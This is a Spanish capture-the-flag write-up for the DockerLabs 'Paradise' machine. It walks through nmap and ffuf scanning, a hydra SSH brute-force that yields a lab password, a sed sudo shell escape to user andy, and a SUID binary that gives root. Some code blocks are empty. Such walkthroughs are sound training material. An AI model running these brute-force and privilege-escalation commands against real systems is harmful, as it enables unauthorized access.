> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/paradise.md).
# 🟩 Paradise
## 🕵️ Reconocimiento
Comenzamos con un escaneo de puertos con `nmap`:
{% code overflow="wrap" %}
```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```
{% endcode %}
Vemos que el servidor está corriendo un servicio SSH, HTTP y SMB. Realizamos un escaneo de directorios al servicio web con `ffuf`.
{% code overflow="wrap" %}
```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```
{% endcode %}
En el código html del directorio `http://172.17.0.2/galery.html` encontramos un comentario con una cadena en base64.
{% code overflow="wrap" %}
```html
```
{% endcode %}
Si nos vamos al directorio `/estoesunsecreto`, encontramos lo siguiente:
## 🚪 Ganando acceso
Hacemos fuerza bruta al usuario `lucas` usando `hydra`:
{% code overflow="wrap" %}
```bash
hydra -l lucas -P /usr/share/wordlists/rockyou.txt ssh://$IPTARGET
```
{% endcode %}
La combinación es `lucas:chocolate`.
## 💥 Escalada de privilegios
Comprobamos los permisos que tenemos con `sudo`:
Podemos ejecutar `/bin/sed` como `andy` sin necesidad de introducir contraseña. En gtfobins encontramos una manera de aprovecharnos de esta configuración:
{% code overflow="wrap" %}
```bash
sudo -u andy sed -n '1e exec /bin/sh 1>&0' /etc/hosts
```
{% endcode %}
Una vez como `andy`, no podemos ver los permisos con sudo porque nos pide contraseña y no la sabemos, así que recurrimos a listar los binarios con el bit SUID activado.
Podemos ejecutar el binario `privileged_exec` como `root` (propietario), lo que nos da acceso a una shell con los máximos privilegios.